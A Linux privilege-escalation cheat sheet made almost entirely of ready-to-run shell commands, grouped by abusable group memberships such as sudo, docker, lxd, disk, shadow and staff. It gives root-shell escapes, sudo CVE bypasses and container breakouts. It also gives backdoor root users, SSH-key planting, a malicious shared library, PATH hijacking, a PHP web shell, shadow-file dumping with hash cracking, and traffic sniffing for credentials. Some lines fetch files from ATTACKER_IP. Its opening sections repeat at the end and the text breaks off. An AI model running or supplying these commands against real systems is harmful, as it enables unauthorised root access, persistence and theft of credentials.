# ==========================================
# YOUR OWN GROUPS
# ==========================================

id                              # Full ID info — uid, gid, all groups
whoami                          # Current username
groups                          # All groups current user belongs to
id username                     # Groups for specific user

# ==========================================
# ALL GROUPS ON SYSTEM
# ==========================================

cat /etc/group                  # All groups + members
cat /etc/group | cut -d: -f1    # Just group names
getent group                    # Same but via NSS (includes LDAP/AD groups)

# ==========================================
# FIND ALL USERS IN A SPECIFIC GROUP
# ==========================================

getent group docker             # Who is in docker group?
getent group sudo               # Who is in sudo?
getent group lxd

# ==========================================
# INTERESTING GROUPS TO LOOK FOR
# ==========================================

# Run this as soon as you get a shell!
id
# Look for ANY of these group names → INSTANT privesc:
# sudo, wheel, docker, lxd, lxc, disk, shadow, adm,
# staff, video, kmem, tape, uucp, dialout, pcap, wireshark

# Check if you're in ANY interesting group
id | tr ',' '\n' | grep -E "sudo|wheel|docker|lxd|lxc|disk|shadow|adm|staff|video|kmem|tape|uucp|dialout"

# ==========================================
# WHO HAS SUDO?
# ==========================================

grep -i "sudo\|wheel" /etc/group
cat /etc/sudoers 2>/dev/null
ls /etc/sudoers.d/ 2>/dev/null
sudo -l                         # What CAN you sudo?

# ==========================================
# ALL USERS AND THEIR GROUPS
# ==========================================

for user in $(cut -d: -f1 /etc/passwd); do
    echo "$user: $(id $user 2>/dev/null | grep -o 'groups=.*')";
done

# ==========================================
# PRIVILEGED GROUP CHECK SCRIPT
# ==========================================

INTERESTING="sudo wheel docker lxd lxc disk shadow adm staff video kmem tape uucp dialout pcap wireshark"
for grp in $INTERESTING; do
    members=$(getent group $grp 2>/dev/null | cut -d: -f4)
    [ -n "$members" ] && echo "[!] GROUP: $grp → MEMBERS: $members"
done

# ==========================================
# WHAT IT DOES
# ==========================================

# Members of 'sudo' (Debian/Ubuntu) or 'wheel' (RHEL/CentOS/Arch)
# can use sudo to run commands as root.
# If a user can run ANY command as root → full privesc!

# ==========================================
# CHECK YOUR SUDO PRIVILEGES
# ==========================================

sudo -l                         # List what you can run as sudo
sudo -l -U username             # Check another user's sudo (as root)

# Output examples:
# (ALL : ALL) ALL              → Can run EVERYTHING as root
# (ALL) NOPASSWD: ALL          → Root without password!
# (ALL) NOPASSWD: /bin/vim     → Only vim without password
# (root) /usr/bin/find         → Only find, needs password

# ==========================================
# FULL SUDO ACCESS
# ==========================================

sudo bash                       # Root shell
sudo su -                       # Root shell via su
sudo /bin/bash -p               # Preserved environment

# ==========================================
# RESTRICTED SUDO ABUSE — GTFOBins
# ==========================================

# If sudo is restricted to specific binaries → use GTFOBins!
# https://gtfobins.github.io/

# --- sudo vim ---
sudo vim -c ':!/bin/bash'
sudo vim -c ':py3 import os; os.execl("/bin/bash","bash","-p")'
sudo vim -c ':set shell=/bin/bash' -c ':shell'

# --- sudo nano ---
sudo nano
# In nano: Ctrl+R → Ctrl+X → reset; sh 1>&0 2>&0
# OR: Ctrl+T → bash (if CMD is allowed)

# --- sudo less / more ---
sudo less /etc/passwd
# Once in less: !bash

sudo more /etc/passwd
# Once in more: !bash

# --- sudo man ---
sudo man man
# Once in man: !bash

# --- sudo find ---
sudo find . -exec /bin/bash \; -quit
sudo find /etc/passwd -exec bash -p \;

# --- sudo python / python3 ---
sudo python3 -c 'import os; os.system("/bin/bash")'
sudo python  -c 'import os; os.system("/bin/bash")'

# --- sudo perl ---
sudo perl -e 'exec "/bin/bash";'

# --- sudo ruby ---
sudo ruby -e 'exec "/bin/bash"'

# --- sudo awk ---
sudo awk 'BEGIN {system("/bin/bash")}'

# --- sudo nmap ---
sudo nmap --interactive          # Old nmap (< 5.x)
# prompt: !bash

sudo nmap --script=<(echo 'os.execute("/bin/bash")')   # New nmap

# --- sudo env ---
sudo env /bin/bash

# --- sudo cp ---
# Copy /bin/bash to /tmp and make SUID
sudo cp /bin/bash /tmp/rootbash
sudo chmod +s /tmp/rootbash
/tmp/rootbash -p

# --- sudo tar ---
sudo tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/bash

# --- sudo zip ---
TF=$(mktemp -u); sudo zip $TF /etc/hosts -T -TT 'bash #'

# --- sudo curl ---
# Overwrite /etc/sudoers!
echo 'user ALL=(ALL) NOPASSWD:ALL' > /tmp/sudoers
sudo curl file:///tmp/sudoers -o /etc/sudoers

# --- sudo wget ---
sudo wget http://ATTACKER_IP/evil_sudoers -O /etc/sudoers

# --- sudo cat ---
# Read /etc/shadow!
sudo cat /etc/shadow

# --- sudo tee ---
echo 'user ALL=(ALL) NOPASSWD:ALL' | sudo tee -a /etc/sudoers

# --- sudo chmod / chown ---
sudo chmod +s /bin/bash         # Make bash SUID!
sudo chown user:user /etc/sudoers  # Take ownership of sudoers

# --- sudo systemctl ---
# Create a malicious service
TF=$(mktemp).service
echo '[Service]
Type=oneshot
ExecStart=/bin/bash -c "chmod +s /bin/bash"
[Install]
WantedBy=multi-user.target' > $TF
sudo systemctl link $TF
sudo systemctl enable --now $(basename $TF)
bash -p

# --- sudo passwd ---
sudo passwd root                # Change root password directly!

# ==========================================
# SUDO VERSION EXPLOIT
# ==========================================

sudo --version                  # Check version

# CVE-2021-3156 (Heap-Based BO in sudo) — Baron Samedit
# Affects sudo < 1.9.5p2
# Works without any sudo privileges!
sudoedit -s '\' $(python3 -c 'print("A"*65536)')
# → If crashes = vulnerable!

# CVE-2019-14287 (sudo -u#-1)
# sudo < 1.8.28 → bypass user restriction!
# If sudoers: user ALL=(ALL,!root) /bin/bash
sudo -u#-1 bash                 # Bypass! Still gets root!
sudo -u#4294967295 bash         # Same thing (unsigned -1)

# ==========================================
# WHY docker GROUP = ROOT
# ==========================================

# Docker daemon runs as root
# docker group members can talk to docker daemon
# → Can spawn privileged containers
# → Can mount host filesystem
# → Full root on host!

# ==========================================
# CHECK
# ==========================================

id | grep docker
getent group docker
docker ps                       # If this works → you're in docker group

# ==========================================
# EXPLOIT — Mount Host Filesystem
# ==========================================

# Method 1 — Alpine (small, fast)
docker run -v /:/mnt/host --rm -it alpine chroot /mnt/host /bin/bash
# → You are NOW root on the HOST filesystem!

# Method 2 — Use existing image
docker images                   # See available images
docker run -v /:/mnt/host --rm -it ubuntu chroot /mnt/host bash
docker run -v /:/mnt/host --rm -it debian:latest chroot /mnt/host bash

# Method 3 — Add your SSH key as root
docker run -v /root:/mnt/root --rm -it alpine sh -c \
    "echo 'ssh-rsa AAAA...' >> /mnt/root/.ssh/authorized_keys"

# Method 4 — Add user to sudoers
docker run -v /etc:/mnt/etc --rm -it alpine sh -c \
    "echo 'youruser ALL=(ALL) NOPASSWD:ALL' >> /mnt/etc/sudoers"

# Method 5 — Copy bash and make SUID
docker run -v /:/mnt/host --rm -it alpine sh -c \
    "cp /mnt/host/bin/bash /mnt/host/tmp/.bash && chmod +s /mnt/host/tmp/.bash"
# On host:
/tmp/.bash -p

# Method 6 — Create new root user
docker run -v /:/mnt/host --rm -it alpine chroot /mnt/host bash -c \
    "echo 'backdoor:x:0:0::/root:/bin/bash' >> /etc/passwd && \
     echo 'backdoor:\$6\$...<SHA512_HASH>:...' >> /etc/shadow"

# ==========================================
# PRIVILEGED CONTAINER BREAKOUT
# ==========================================

# If you're already INSIDE a container
docker run --privileged -it alpine
# Inside:
mkdir /mnt/host
mount /dev/sda1 /mnt/host       # Mount host root disk
chroot /mnt/host                # Chroot into host
# You're now on the host!

# ==========================================
# DOCKER SOCKET ABUSE (no docker group, but socket access)
# ==========================================

ls -la /var/run/docker.sock     # Is it readable?
# srw-rw---- 1 root docker → docker group needed
# srw-rw-rw- 1 root docker → world writable = no group needed!

# Use curl with docker socket
curl -s --unix-socket /var/run/docker.sock http://localhost/containers/json
curl -s --unix-socket /var/run/docker.sock http://localhost/images/json

# Create container via socket
curl -s --unix-socket /var/run/docker.sock -X POST \
    -H "Content-Type: application/json" \
    http://localhost/containers/create \
    -d '{"Image":"alpine","Cmd":["/bin/sh"],"Binds":["/:/mnt/host"],"Privileged":true}'

# ==========================================
# CHECK
# ==========================================

id | grep lxd
id | grep lxc

# ==========================================
# EXPLOIT — Build Alpine Image and Mount Host
# ==========================================

# Step 1: On ATTACKER — Build the image
git clone https://github.com/saghul/lxd-alpine-builder.git
cd lxd-alpine-builder
sudo bash build-alpine
# → Creates alpine-v3.x-x86_64-<date>.tar.gz

# Step 2: Transfer to TARGET
python3 -m http.server 8080
# On target:
wget http://ATTACKER_IP:8080/alpine-v3.x-x86_64-<date>.tar.gz

# Step 3: Import image
lxc image import alpine-v3.x-x86_64-<date>.tar.gz --alias alpine
lxc image list                          # Verify

# Step 4: Initialize LXD (first time only)
lxd init --auto 2>/dev/null || true

# Step 5: Create privileged container with host mount
lxc init alpine pwn -c security.privileged=true
lxc config device add pwn mydevice disk source=/ path=/mnt/root recursive=true
lxc start pwn
lxc exec pwn -- /bin/sh

# Step 6: Inside container — do damage
# You're root inside, and /mnt/root = entire host filesystem!
cd /mnt/root
chroot . /bin/bash                       # Full root shell on host!

# Quick method (one-liner)
lxc init alpine pwn -c security.privileged=true && \
lxc config device add pwn mydev disk source=/ path=/mnt/host recursive=true && \
lxc start pwn && \
lxc exec pwn -- chroot /mnt/host /bin/bash

# ==========================================
# ALTERNATIVE — No image build (use existing)
# ==========================================

lxc image list images: | grep -i alpine    # List remote images
lxc init images:alpine/3.16 privesc -c security.privileged=true
lxc config device add privesc host-root disk source=/ path=/mnt/host recursive=true
lxc start privesc
lxc exec privesc -- /bin/sh

# Once in shell:
# /mnt/host/bin/bash → chroot /mnt/host → full host root!

# ==========================================
# WHY IT'S DANGEROUS
# ==========================================

# disk group members can read/write to raw disk devices (/dev/sdX)
# → Can read any file on disk (bypasses file permissions!)
# → Can read /etc/shadow, SSH keys, any file
# → Can write to disk directly (dangerous!)
# → No need for any FS-level permission

# ==========================================
# CHECK
# ==========================================

id | grep disk
ls -la /dev/sd*                 # View disk devices
df -h                           # Which device is root?

# ==========================================
# FIND ROOT DEVICE
# ==========================================

df -h /                         # Shows /dev/sda1 or similar
lsblk                           # Block device tree
fdisk -l 2>/dev/null            # Disk partitions

# ==========================================
# EXPLOIT — Read /etc/shadow with debugfs
# ==========================================

# debugfs = filesystem debugger (comes with e2fsprogs)
debugfs /dev/sda1               # Open root partition
# Inside debugfs:
debugfs: cat /etc/shadow        # Read shadow without root!
debugfs: cat /root/.ssh/id_rsa  # Steal root SSH key!
debugfs: dump /etc/shadow /tmp/shadow  # Dump to file

# One-liner:
debugfs -R 'cat /etc/shadow' /dev/sda1 2>/dev/null

# ==========================================
# READ ANY FILE
# ==========================================

# Find inode of target file
debugfs -R 'stat /etc/shadow' /dev/sda1 2>/dev/null

# Read file content
debugfs -R 'cat /etc/shadow' /dev/sda1 2>/dev/null
debugfs -R 'cat /root/.bash_history' /dev/sda1 2>/dev/null
debugfs -R 'cat /root/.ssh/id_rsa' /dev/sda1 2>/dev/null

# ==========================================
# ESCALATE — Modify /etc/sudoers via disk
# ==========================================

# DANGEROUS — Don't do on prod! (Can corrupt filesystem)
# Use echo + dd to write to raw disk
# → Safer: just read /etc/shadow → crack root hash → su root

# ==========================================
# CRACK SHADOW HASH
# ==========================================

# After dumping shadow:
debugfs -R 'cat /etc/shadow' /dev/sda1 2>/dev/null > /tmp/shadow_dump
cat /tmp/shadow_dump | grep root    # Get root hash
hashcat -m 1800 root_hash.txt /usr/share/wordlists/rockyou.txt   # SHA-512
su root                             # Use cracked password

# ==========================================
# WHY IT'S DANGEROUS
# ==========================================

# /etc/shadow is readable by root and shadow group
# Contains password hashes of ALL users
# → Get shadow → crack hashes → su/ssh as any user

# ==========================================
# CHECK
# ==========================================

id | grep shadow
ls -la /etc/shadow
# -rw-r----- 1 root shadow → shadow group can read it!

# ==========================================
# EXPLOIT
# ==========================================

# Read /etc/shadow directly!
cat /etc/shadow

# Copy for cracking
cat /etc/shadow > /tmp/shadow_copy

# Identify hash type from format:
# $1$  = MD5
# $2y$ = bcrypt
# $5$  = SHA-256
# $6$  = SHA-512 (most common)
# $y$  = yescrypt

# ==========================================
# CRACK WITH HASHCAT
# ==========================================

# SHA-512 (most common)
hashcat -m 1800 /tmp/shadow_copy /usr/share/wordlists/rockyou.txt

# SHA-256
hashcat -m 7400 /tmp/shadow_copy /usr/share/wordlists/rockyou.txt

# MD5
hashcat -m 500 /tmp/shadow_copy /usr/share/wordlists/rockyou.txt

# With rules (faster)
hashcat -m 1800 /tmp/shadow_copy /usr/share/wordlists/rockyou.txt \
    --rules-file /usr/share/hashcat/rules/best64.rule

# John the Ripper (auto-detects hash type)
john /tmp/shadow_copy --wordlist=/usr/share/wordlists/rockyou.txt
john /tmp/shadow_copy --show      # Show cracked passwords

# Combine passwd + shadow for john
unshadow /etc/passwd /etc/shadow > /tmp/unshadowed
john /tmp/unshadowed --wordlist=/usr/share/wordlists/rockyou.txt

# ==========================================
# AFTER CRACKING
# ==========================================

su root                           # If root hash cracked
su admin                          # Other user
ssh root@localhost                # If SSH enabled

# ==========================================
# WHAT adm GROUP CAN READ
# ==========================================

# adm group typically has read access to:
# /var/log/auth.log       → SSH logins, sudo, su attempts (CREDS!)
# /var/log/syslog         → System events
# /var/log/kern.log       → Kernel messages
# /var/log/apache2/       → Web server logs (URLs with passwords!)
# /var/log/nginx/         → Nginx logs
# /var/log/mail.log       → Mail logs
# /var/log/cron.log       → Cron job logs (may show commands!)
# /var/log/mysql/         → MySQL logs (queries with passwords!)

# ==========================================
# CHECK
# ==========================================

id | grep adm
ls -la /var/log/

# ==========================================
# FIND CREDENTIALS IN LOGS
# ==========================================

# SSH failed logins (usernames being tried)
cat /var/log/auth.log | grep "Failed password"
cat /var/log/auth.log | grep "Accepted password"   # Successful logins!

# sudo commands (what have privileged users been running?)
cat /var/log/auth.log | grep "sudo"
cat /var/log/auth.log | grep "COMMAND"             # Full sudo commands!

# su usage
cat /var/log/auth.log | grep "su:"

# Web logs — look for passwords in URLs (bad practice but common!)
cat /var/log/apache2/access.log | grep -i "pass\|password\|token\|secret\|key"
cat /var/log/nginx/access.log   | grep -i "pass\|password"

# MySQL logs
cat /var/log/mysql/mysql.log 2>/dev/null | grep -i "password\|pass\|user"

# Cron logs (shows commands run by root!)
cat /var/log/cron.log | grep -i "CMD"
cat /var/log/syslog   | grep -i "CRON"

# ==========================================
# MINE auth.log FOR PRIVESC LEADS
# ==========================================

# Find users that have sudo'd recently
grep "sudo" /var/log/auth.log | grep "COMMAND" | awk '{print $6, $13}'

# Find cleartext passwords (passed via command line)
grep -E "pass=|password=|passwd=" /var/log/auth.log
grep -E "pass=|password=|passwd=" /var/log/syslog

# Find internal service credentials
grep -r "password\|secret\|token\|api_key" /var/log/ 2>/dev/null

# ==========================================
# JOURNALD LOGS (systemd)
# ==========================================

journalctl                       # All systemd logs (if adm/systemd-journal)
journalctl -u sshd               # SSH service logs
journalctl -u cron               # Cron logs
journalctl --grep "password"     # Search for password in all logs
journalctl -xe                   # Recent errors with context

# ==========================================
# WHY IT'S DANGEROUS
# ==========================================

# video group has access to:
# /dev/fb0  → Framebuffer (raw pixel data of screen)
# /dev/video*  → Webcam/capture devices
# → Take screenshot of current display
# → See what root/admin is doing on screen!

# ==========================================
# CHECK
# ==========================================

id | grep video
ls -la /dev/fb*
ls -la /dev/video*

# ==========================================
# SCREENSHOT FRAMEBUFFER
# ==========================================

# Read raw framebuffer (screenshot of current screen!)
cat /dev/fb0 > /tmp/screen.raw

# Convert to PNG (need to know resolution and bit depth)
# Get framebuffer info
cat /sys/class/graphics/fb0/virtual_size    # e.g., 1920,1080
cat /sys/class/graphics/fb0/bits_per_pixel  # e.g., 32

# Convert with ffmpeg
WIDTH=$(cat /sys/class/graphics/fb0/virtual_size | cut -d, -f1)
HEIGHT=$(cat /sys/class/graphics/fb0/virtual_size | cut -d, -f2)
BPP=$(cat /sys/class/graphics/fb0/bits_per_pixel)

# BGRA format (common)
ffmpeg -vcodec rawvideo -f rawvideo -pix_fmt bgra \
    -s ${WIDTH}x${HEIGHT} -i /dev/fb0 /tmp/screen.png

# With convert (ImageMagick)
PIXEL_FORMAT="rgba"  # or bgra
convert -size ${WIDTH}x${HEIGHT} -depth 8 \
    ${PIXEL_FORMAT}:/dev/fb0 /tmp/screen.png

# ==========================================
# LOOK FOR SENSITIVE INFO ON SCREEN
# ==========================================

# Admin may be typing passwords, viewing /etc/shadow, etc.
# Continuous capture (every 5 seconds)
while true; do
    cat /dev/fb0 > /tmp/screen_$(date +%s).raw
    sleep 5
done

# ==========================================
# WHAT staff GROUP CAN DO
# ==========================================

# staff group has write access to:
# /usr/local/
# /usr/local/bin/
# /usr/local/lib/
# /usr/local/sbin/
# → Place malicious binaries/libraries in standard PATH locations!
# → When root or other users run programs → hijack them!

# ==========================================
# CHECK
# ==========================================

id | grep staff
ls -la /usr/local/bin/
ls -la /usr/local/lib/

# ==========================================
# EXPLOIT 1 — Binary Hijacking in PATH
# ==========================================

# /usr/local/bin is usually BEFORE /usr/bin in PATH!
echo $PATH
# /usr/local/sbin:/usr/local/bin:/usr/bin:/bin → local first!

# Create malicious binary with same name as commonly-run command
cat > /usr/local/bin/service << 'EOF'
#!/bin/bash
cp /bin/bash /tmp/rootbash && chmod +s /tmp/rootbash
/usr/bin/service "$@"   # Pass through to real binary
EOF
chmod +x /usr/local/bin/service

# Wait for root/admin to run 'service' → /tmp/rootbash created with SUID
# Then: /tmp/rootbash -p → root shell!

# Common binaries to hijack (frequently run by root/scripts):
# service, python, python3, pip, pip3, gcc, make, curl, wget

# ==========================================
# EXPLOIT 2 — Shared Library Hijacking
# ==========================================

# Place malicious .so in /usr/local/lib/
# If target binary links libraries from there → code execution!

cat > /tmp/evil.c << 'EOF'
#include <stdio.h>
#include <stdlib.h>
void __attribute__((constructor)) init() {
    system("cp /bin/bash /tmp/.b && chmod +s /tmp/.b");
}
EOF
gcc -fPIC -shared -o /usr/local/lib/libservice.so /tmp/evil.c
ldconfig

# ==========================================
# EXPLOIT 3 — sudo PATH hijack
# ==========================================

# If admin runs: sudo service restart
# And PATH includes /usr/local/bin
# Your fake 'service' runs as root!

# Check if secure_path is set in sudoers
sudo -l | grep "env_keep\|secure_path"
# If no secure_path → PATH hijack works!

# ==========================================
# WHAT dialout GROUP DOES
# ==========================================

# dialout group has access to:
# /dev/ttyS*   → Serial ports
# /dev/ttyUSB* → USB serial adapters
# /dev/ttyACM* → USB ACM devices
# → Serial console to other machines
# → Talk to modems, routers, embedded devices
# → Potential pivoting through serial connections

# ==========================================
# CHECK
# ==========================================

id | grep dialout
id | grep uucp
ls -la /dev/ttyS*
ls -la /dev/ttyUSB*
ls -la /dev/ttyACM*

# ==========================================
# EXPLOIT — Serial Console Access
# ==========================================

# Connect to serial port (may be another machine's console!)
screen /dev/ttyS0 9600           # 9600 baud (common default)
screen /dev/ttyUSB0 115200       # 115200 baud (Raspberry Pi etc.)
minicom -s                       # Configure and connect
picocom /dev/ttyS0 -b 9600       # Lightweight serial client

# Try common baud rates if you don't know
for baud in 9600 19200 38400 57600 115200 230400; do
    echo "Trying $baud..."
    screen /dev/ttyS0 $baud &
    sleep 2
    kill %1 2>/dev/null
done

# Once connected to a console:
# → May drop into unauthenticated root shell (embedded devices!)
# → May be a network device (router, switch)
# → May be a server's physical console

# ==========================================
# CHECK
# ==========================================

id | grep systemd-journal
ls -la /var/log/journal/
ls -la /run/log/journal/

# ==========================================
# EXPLOIT — Mine Logs for Credentials
# ==========================================

# Read ALL journal logs (requires systemd-journal group)
journalctl                               # Entire journal
journalctl --no-pager                    # Without pagination

# Find credentials in logs
journalctl | grep -iE "password|passwd|secret|token|key|cred"
journalctl -u sshd | grep "Accepted"    # Successful SSH logins
journalctl -u sudo | grep "COMMAND"     # Root commands run via sudo

# Find service start args (may include passwords!)
journalctl -u mysql | grep -i "password"
journalctl -u postgresql | grep -i "password"

# Look for cleartext credentials in startup logs
journalctl -b | grep -iE "pass=|password=|secret=|key="

# Boot logs (kernel + all service starts)
journalctl -b 0                          # Current boot
journalctl -b -1                         # Previous boot

# Recent activity (last hour)
journalctl --since "1 hour ago"

# ==========================================
# WHAT kmem GROUP DOES
# ==========================================

# kmem group has read access to:
# /dev/kmem → Kernel virtual memory (legacy)
# /dev/mem  → Physical memory
# → Read kernel data structures
# → Extract encryption keys from kernel
# → Bypass kernel address space randomization (KASLR)

# ==========================================
# CHECK
# ==========================================

id | grep kmem
ls -la /dev/kmem /dev/mem 2>/dev/null

# ==========================================
# EXPLOIT CONCEPT
# ==========================================

# Read physical memory (look for cleartext passwords, keys)
strings /dev/mem 2>/dev/null | grep -iE "password|secret|key" | head -50

# Use dd to read specific memory ranges
dd if=/dev/mem of=/tmp/memdump bs=1M count=10 2>/dev/null

# Search for credentials in memory dump
strings /tmp/memdump | grep -iE "password|passwd|secret"

# Advanced: use volatility-style analysis for kernel structures
# (Primarily used for post-exploitation forensics bypasses)

# ==========================================
# CHECK
# ==========================================

id | grep tape
ls -la /dev/st*          # SCSI tape devices
ls -la /dev/nst*         # Non-rewinding SCSI tape

# ==========================================
# EXPLOIT
# ==========================================

# If backups are stored on tape → read entire backup!
# Backups often contain /etc/shadow, SSH keys, databases!

# Read tape contents
mt -f /dev/st0 status           # Check tape status
mt -f /dev/st0 rewind           # Rewind to start
dd if=/dev/st0 of=/tmp/tape_dump bs=64k    # Dump tape to file

# If tar backup on tape
mt -f /dev/st0 rewind
tar -xvf /dev/st0 -C /tmp/      # Extract backup!
# → May contain /etc/shadow, private keys, config files!

# List files on tape
mt -f /dev/st0 rewind
tar -tvf /dev/st0               # List without extracting

# ==========================================
# IF YOUR PRIMARY GROUP IS root (GID=0)
# ==========================================

# Not the same as being root user!
# But GID 0 group can read files owned by root group

# Check primary group
id
# uid=1001(user) gid=0(root) groups=...  ← GID 0!

# Find files writable by root group
find / -group root -perm -g=w -type f 2>/dev/null

# Common files accessible:
ls -la /etc/passwd    # root:root, 644 → readable by all
ls -la /etc/crontab   # May be root group writable!

# Find root-group writable files (potential hijack!)
find / -group root -writable -type f 2>/dev/null

# ==========================================
# CHECK
# ==========================================

id | grep -E "pcap|wireshark"
ls -la /usr/bin/dumpcap
ls -la /usr/bin/tcpdump

# ==========================================
# EXPLOIT — Sniff Network for Credentials
# ==========================================

# Capture all traffic on interface
tcpdump -i eth0 -w /tmp/capture.pcap

# Capture specific protocols
tcpdump -i eth0 port 21 -w /tmp/ftp.pcap      # FTP (cleartext creds!)
tcpdump -i eth0 port 23 -w /tmp/telnet.pcap   # Telnet (cleartext!)
tcpdump -i eth0 port 80 -w /tmp/http.pcap     # HTTP (may have POST creds)
tcpdump -i eth0 port 110 -w /tmp/pop3.pcap    # POP3 mail
tcpdump -i eth0 port 143 -w /tmp/imap.pcap    # IMAP mail
tcpdump -i eth0 port 389 -w /tmp/ldap.pcap    # LDAP (AD authentication!)

# Sniff localhost (internal service creds!)
tcpdump -i lo -w /tmp/localhost.pcap

# Sniff and extract strings
tcpdump -i eth0 -A -s 0 | grep -iE "pass|user|login|auth"

# dumpcap (wireshark group)
dumpcap -i eth0 -w /tmp/capture.pcap

# tshark (wireshark CLI)
tshark -i eth0 -Y "ftp || http || ldap" -T fields \
    -e ip.src -e ip.dst -e http.request.method \
    -e http.file_data

# ==========================================
# READ EXISTING PCAP FILES
# ==========================================

find / -name "*.pcap" -o -name "*.cap" 2>/dev/null

# Extract credentials from pcap
tshark -r /tmp/capture.pcap -Y "ftp" -T fields -e ftp.request.command -e ftp.request.arg
tshark -r /tmp/capture.pcap -Y "http.request.method==POST"
# Look for login forms, basic auth headers, etc.

# Use network-miner / pwncat for automated cred extraction

# ==========================================
# fail2ban GROUP
# ==========================================

# fail2ban group can write/modify fail2ban action configs
# → Inject commands into fail2ban actions (run as root!)

id | grep fail2ban
ls -la /etc/fail2ban/action.d/

# Exploit: modify an action file to execute code when triggered
cat /etc/fail2ban/action.d/iptables.conf | grep "actionban"

# Inject into actionban (runs as root when a ban is triggered!)
# Then trigger a ban by failing SSH login multiple times from attacker
nano /etc/fail2ban/action.d/iptables.conf
# Change actionban line to include your payload:
# actionban = iptables -I f2b-<name> 1 -s <ip> -j DROP; cp /bin/bash /tmp/b; chmod +s /tmp/b

# ==========================================
# logrotate GROUP
# ==========================================

# If logrotate config is writable → write to files during rotation!
id | grep logrotate
ls -la /etc/logrotate.conf
ls -la /etc/logrotate.d/

# Exploit: add postrotate script to execute as root
# Requires writable logrotate config AND logrotate runs as root (via cron)

# Find writable logrotate configs
find /etc/logrotate.d/ -writable 2>/dev/null

# Add malicious postrotate to writable config:
echo 'postrotate
    /bin/bash -c "chmod +s /bin/bash"
endscript' >> /etc/logrotate.d/nginx

# ==========================================
# CHECK
# ==========================================

id | grep www-data
ls -la /var/www/html/
ls -la /etc/apache2/ /etc/nginx/

# ==========================================
# EXPLOIT — Write Web Shell
# ==========================================

# If web root is writable by www-data group
echo '<?php system($_GET["cmd"]); ?>' > /var/www/html/shell.php

# Access: http://target.com/shell.php?cmd=id

# ==========================================
# FIND CREDENTIALS IN WEB CONFIG FILES
# ==========================================

# WordPress config (database passwords!)
cat /var/www/html/wp-config.php | grep -E "DB_USER|DB_PASSWORD|DB_HOST"

# Laravel .env
cat /var/www/html/.env | grep -E "DB_|MAIL_|APP_KEY"

# Symfony config
cat /var/www/html/app/config/parameters.yml

# Django settings
cat /var/www/html/settings.py | grep -E "PASSWORD|SECRET|KEY"

# Generic search
grep -r "password\|passwd\|secret\|key\|token" /var/www/ 2>/dev/null | \
    grep -v ".js\|.css\|.min" | head -50

# ==========================================
# SCENARIO 1 — User in Multiple Dangerous Groups
# ==========================================

# If you're in docker + sudo (less common but devastating):
# → docker = instant root anyway, sudo overkill

# Most impactful combinations:
# shadow + adm → Read hashes + read logs → crack root hash
# adm + www-data → Read logs for DB creds + write web shell
# disk + shadow → Two independent paths to hashes

# ==========================================
# SCENARIO 2 — Newgrp (Switch Active Group)
# ==========================================

# If you're a member of a group but it's not your active group:
newgrp docker           # Switch active group to docker
newgrp shadow           # Switch active group to shadow
# This doesn't require password if you're already a member!

# Verify switch
id                      # Confirm gid is now docker/shadow

# ==========================================
# SCENARIO 3 — Add Yourself to a Group (as root)
# ==========================================

# If you already got root → add user to all dangerous groups!
usermod -aG docker,sudo,shadow,adm,disk,lxd youruser

# ==========================================
# SCENARIO 4 — ACL (Access Control Lists)
# ==========================================

# Sometimes file access is via ACL not standard groups
getfacl /etc/shadow     # Check ACL on shadow
getfacl /var/log/auth.log

# Find files with ACLs
find / -type f -acl 2>/dev/null | head -20
getfacl -R /var/www/ 2>/dev/null | grep "user:youruser"

# ==========================================
# SCENARIO 5 — Group Writable Critical Files
# ==========================================

# Find group-writable sensitive files
find /etc -writable -type f 2>/dev/null        # Writable /etc files
find /etc -group yourgroup -writable 2>/dev/null

# Critical group-writable files → instant privesc:
# /etc/passwd (write → add root user!)
# /etc/sudoers (write → add sudo rule!)
# /etc/crontab (write → add root cron job!)
# /etc/cron.d/* (write → add root cron job!)
# /etc/ssh/sshd_config (write → enable root login!)

# ==========================================
# LINPEAS (Best All-Around)
# ==========================================

# Download
curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh -o linpeas.sh
wget https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh

# Run
chmod +x linpeas.sh
./linpeas.sh 2>/dev/null

# Pipe to less with color
./linpeas.sh 2>/dev/null | less -R

# Save output
./linpeas.sh 2>/dev/null | tee linpeas_output.txt

# linpeas HIGHLIGHTS groups section:
# → [+] Interesting Groups - Members
# → [+] My user
# → [+] Sudo version

# ==========================================
# LSE (Linux Smart Enumeration)
# ==========================================

wget https://raw.githubusercontent.com/diego-treitos/linux-smart-enumeration/master/lse.sh
chmod +x lse.sh

./lse.sh           # Level 0 (quick check)
./lse.sh -l 1      # Level 1 (more info)
./lse.sh -l 2      # Level 2 (everything)

# ==========================================
# LINENUM
# ==========================================

wget https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh
chmod +x LinEnum.sh
./LinEnum.sh

# Thorough mode + keyword search
./LinEnum.sh -t -k password

# ==========================================
# PSPY (Process Spy — no root needed!)
# ==========================================

# See what processes root is running (find cron commands, scripts)
wget https://github.com/DominicBreuker/pspy/releases/latest/download/pspy64
chmod +x pspy64
./pspy64

# Wait and watch — you'll see every command root runs!
# Look for:
# → Cron jobs (commands with root UID=0)
# → Scripts that run with root privilege
# → Passwords passed as command-line arguments!

# ==========================================
# MANUAL GROUP CHECK ONE-LINER
# ==========================================

echo "=== CURRENT USER ===" && id && \
echo "=== INTERESTING GROUPS ===" && \
for g in sudo wheel docker lxd lxc disk shadow adm staff video kmem tape uucp dialout pcap wireshark fail2ban; do
    getent group $g 2>/dev/null && echo "  ↑ YOU MAY BE IN THIS!"
done && \
echo "=== YOUR SUDO RIGHTS ===" && sudo -l 2>/dev/null

# ==========================================
# YOUR OWN GROUPS
# ==========================================

id                              # Full ID info — uid, gid, all groups
whoami                          # Current username
groups                          # All groups current user belongs to
id username                     # Groups for specific user

# ==========================================
# ALL GROUPS ON SYSTEM
# ==========================================

cat /etc/group                  # All groups + members
cat /etc/group | cut -d: -f1    # Just group names
getent group                    # Same but via NSS (includes LDAP/AD groups)

# ==========================================
# FIND ALL USERS IN A SPECIFIC GROUP
# ==========================================

getent group docker             # Who is in docker group?
getent group sudo               # Who is in sudo?
getent group lxd

# ==========================================
# INTERESTING GROUPS TO LOOK FOR
# ==========================================

# Run this as soon as you get a shell!
id
# Look for ANY of these group names → INSTANT privesc:
# sudo, wheel, docker, lxd, lxc, disk, shadow, adm,
# staff, video, kmem, tape, uucp, dialout, pcap, wireshark

# Check if you're in ANY interesting group
